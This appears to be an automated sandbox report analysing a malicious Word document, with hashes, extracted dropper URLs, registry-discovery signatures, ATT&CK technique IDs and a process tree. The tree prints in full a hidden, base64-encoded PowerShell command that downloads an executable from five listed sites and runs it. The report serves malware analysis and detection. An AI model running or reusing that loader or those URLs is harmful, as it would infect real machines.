ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
114s
max time network
160s
platform
windows10_x64
resource
win10v200217
submitted
19-02-2020 13:59

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General

Target

2020-01-16_143808.doc
Size

245KB
MD5

a80f74bf5cc6f4a7ee41873ce4aee030
SHA1

e505346861bb8754809f47bab7178519c62578af
SHA256

e2c167148b62b9f2ef7c2268d7779b5fe217cb86b3295ced1829ffd5064df41d
SHA512

bfbf852fa6aca2aad881f7bbe9af2a3ca5c0d84d9c8ba7e8c70511c9efa5244131af22845177aebca1fd4da636c134f5520d50b85b0862782396ca500b2acc59

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://nfaagro.com/web_map/FF/

exe.dropper

http://blog.arquitetofabiopalheta.com/cgi-bin/vr1tm/

exe.dropper

http://ecrib.e-lyfe.com/21rqvsb/XLkpTvt/

exe.dropper

http://www.moestlstudios.com/error/kx8/

exe.dropper

http://www.loyss.com/wp-content/uploads/fnf8/

Signatures

Blacklisted process makes network request 3 IoCs

Processes:

Powershell.exe

flow pid process

25 3104 Powershell.exe
28 3104 Powershell.exe
30 3104 Powershell.exe

flow	pid	process
25	3104	Powershell.exe
28	3104	Powershell.exe
30	3104	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

WINWORD.EXE

pid	process
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3780 WINWORD.EXE
3780 WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3104	1756	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 3104 Powershell.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

Powershell.exe

pid process

3104 Powershell.exe
3104 Powershell.exe
3104 Powershell.exe

description	pid	process
Token: SeDebugPrivilege	3104	Powershell.exe

pid	process
3104	Powershell.exe
3104	Powershell.exe
3104	Powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-16_143808.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:3780

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABJAG4AbwByAGIAegBlAGoAbwBzAGMAcwA9ACcAWQB6AGYAZwBwAHkAbgBzAHkAJwA7ACQATQB6AGgAZAB6AHgAYgB6AGcAZQBkAGoAIAA9ACAAJwAxADIAOAAnADsAJABCAGUAdABrAHoAcQBhAHQAPQAnAEwAagBxAHMAcQBkAGwAbwBiAGgAbwB2AGIAJwA7ACQAQQBwAG4AYgBsAGEAYgByAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABNAHoAaABkAHoAeABiAHoAZwBlAGQAagArACcALgBlAHgAZQAnADsAJABYAHQAcQBnAHAAcABsAHkAegB5AHoAcABkAD0AJwBSAHEAbgB6AG8AdwBxAHcAaABrACcAOwAkAFMAdgBrAGEAZABpAGsAYwA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAHQALgBXAGUAYgBDAEwAaQBFAE4AVAA7ACQASAB3AGgAagBhAGgAeQBpAD0AJwBoAHQAdABwADoALwAvAG4AZgBhAGEAZwByAG8ALgBjAG8AbQAvAHcAZQBiAF8AbQBhAHAALwBGAEYALwAqAGgAdAB0AHAAOgAvAC8AYgBsAG8AZwAuAGEAcgBxAHUAaQB0AGUAdABvAGYAYQBiAGkAbwBwAGEAbABoAGUAdABhAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AdgByADEAdABtAC8AKgBoAHQAdABwADoALwAvAGUAYwByAGkAYgAuAGUALQBsAHkAZgBlAC4AYwBvAG0ALwAyADEAcgBxAHYAcwBiAC8AWABMAGsAcABUAHYAdAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AbwBlAHMAdABsAHMAdAB1AGQAaQBvAHMALgBjAG8AbQAvAGUAcgByAG8AcgAvAGsAeAA4AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbABvAHkAcwBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBwAGwAbwBhAGQAcwAvAGYAbgBmADgALwAnAC4AIgBzAHAAYABsAGkAdAAiACgAJwAqACcAKQA7ACQAQwBsAG4AZgBkAG0AbQBjAHgAawA9ACcASgB6AGwAcQB1AHIAbgBoACcAOwBmAG8AcgBlAGEAYwBoACgAJABTAGYAZwBzAHoAZABlAGEAIABpAG4AIAAkAEgAdwBoAGoAYQBoAHkAaQApAHsAdAByAHkAewAkAFMAdgBrAGEAZABpAGsAYwAuACIARABvAGAAdwBuAGAAbABPAGEAZABgAEYAaQBsAGUAIgAoACQAUwBmAGcAcwB6AGQAZQBhACwAIAAkAEEAcABuAGIAbABhAGIAcgApADsAJABRAHkAaQBiAHQAYwBnAHcAagB3AGoAPQAnAE0AbQBzAHYAZAByAHEAbwBnAGQAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACAAJABBAHAAbgBiAGwAYQBiAHIAKQAuACIATABlAG4AYABHAGAAVABIACIAIAAtAGcAZQAgADIANwA1ADcAMwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAFIAVAAiACgAJABBAHAAbgBiAGwAYQBiAHIAKQA7ACQASwB6AGMAcAB3AHkAbgBtAHYAbwB4AD0AJwBKAHYAYQBiAHEAdQBkAHEAeQBlAGMAdwAnADsAYgByAGUAYQBrADsAJABFAGIAagB2AHkAawBlAHIAZwB1AHQAPQAnAFMAeAByAHgAdgBzAGoAaAB1AG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUABuAHkAbQB2AHoAcwBtAGkAaQBrAD0AJwBZAHMAbwBzAG8AZwBoAHEAagBrAHQAZwAnAA==
1⤵
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3104

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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